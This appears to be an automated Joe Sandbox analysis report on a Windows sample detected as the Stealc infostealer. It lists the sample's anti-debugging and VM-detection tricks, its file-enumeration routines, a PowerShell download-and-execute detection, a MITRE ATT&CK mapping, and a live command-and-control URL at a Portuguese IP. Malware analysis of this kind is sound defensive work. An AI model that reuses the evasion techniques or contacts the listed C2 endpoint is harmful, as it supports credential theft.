Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA3EC second address: 9DA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228CBCA0B9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA409 second address: 9DA40D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1336 second address: 9E133A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2E98 second address: 9E2E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2FE8 second address: 9E3005 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F228CBCA0B3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0353 second address: 9F035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F035C second address: 9F0360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0360 second address: 9F038B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F228D5156D5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F228D5156CDh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FAA second address: A00FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F228CBCA0ACh 0x0000000b ja 00007F228CBCA0A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jnl 00007F228CBCA0A6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FC6 second address: A00FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F228D5156C6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jc 00007F228D5156CEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FDB second address: A00FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FE1 second address: A00FE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FE6 second address: A00FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00FEC second address: A00FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F228D5156C6h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00CC4 second address: A00CFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F228CBCA0ADh 0x00000008 jmp 00007F228CBCA0B6h 0x0000000d jno 00007F228CBCA0A6h 0x00000013 jng 00007F228CBCA0A6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10620 second address: A10632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F228D5156D8h 0x0000000a jp 00007F228D5156D2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10AE9 second address: A10AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10DE1 second address: A10DF7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F228D5156CAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10F48 second address: A10F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A110A1 second address: A110AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11369 second address: A11374 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007F228CBCA0A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12D13 second address: A12D31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F228D5156D7h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A157A0 second address: A157AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F228CBCA0AAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A157AE second address: A157B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A157B2 second address: A157BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15989 second address: A1598F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17745 second address: A17766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F228CBCA0B9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02C9 second address: 4CD02D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F228D5156CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02D9 second address: 4CD02FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F228CBCA0B8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02FE second address: 4CD0302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0302 second address: 4CD0308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0308 second address: 4CD0337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F228D5156CCh 0x00000008 mov ah, CEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F228D5156D8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0337 second address: 4CD036F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F228CBCA0ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F228CBCA0B6h 0x00000010 pop ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 call 00007F228CBCA0ACh 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930A4B second address: 930A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 921801 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 91FF4B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 92C8BD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9B5CD2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00534910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0052DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0052E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00534570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0052ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0052BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0052DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0052F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00533EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00533EA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00521160 GetSystemInfo,ExitProcess,

0_2_00521160

Source: file.exe, file.exe, 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware!.
Source: file.exe, 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1768903421.0000000000F45000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1768903421.0000000000F72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13210
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13207
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13229
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13221
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13261

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005245C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005245C0

Source: C:\Users\user\Desktop\file.exe

0_2_00539860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539750 mov eax, dword ptr fs:[00000030h]

0_2_00539750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00537850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00537850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00539600

Source: file.exe, file.exe, 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00537B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00536920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00536920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00537850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00537850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00537A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00537A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1723267854.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1723267854.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
http://185.215.113.206/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.206/e2b1563c6670f193.php-	file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php/	file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php9	file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.phpY	file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php/4	file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php:	file.exe, 00000000.00000002.1768903421.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	file.exe, 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.206Y	file.exe, 00000000.00000002.1768903421.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542970
Start date and time:	2024-10-27 01:46:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	uLV6jN2BWh.dll	Get hash	malicious	Unknown	Browse	185.215.113.217

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947218787911007
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'865'728 bytes
MD5:	a2d11b8a418d4d4f4653ffd4af70d5c7
SHA1:	f3067cf41aa873f0a0b363641f7be52f3497ab4b
SHA256:	de03784bad73bf146aef041c6d82e2f0e519688bcc6230f4cf88272b24b2a328
SHA512:	54f5734013bb434ca0920bf48122465f3f5a7b86c56854c462ec7ac18faa6cf05478c89f6636790b7e492f7ddab8222a8b280552b0db2918376f3166821daa29
SSDEEP:	49152:UOuNgGuyWHu49k2mPp6/on9XzsBC9faS2kwcJ8L3CA:UOcgG1WO4k2IIQ9XzNXvw8oS
TLSH:	4C8533BC85116009E04526F6A45B2BCCBE3C7B96A5E6CD8E4DC0F37C957BB16262FC24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F228CB0303Ah
orps xmm3, dqword ptr [eax+eax]
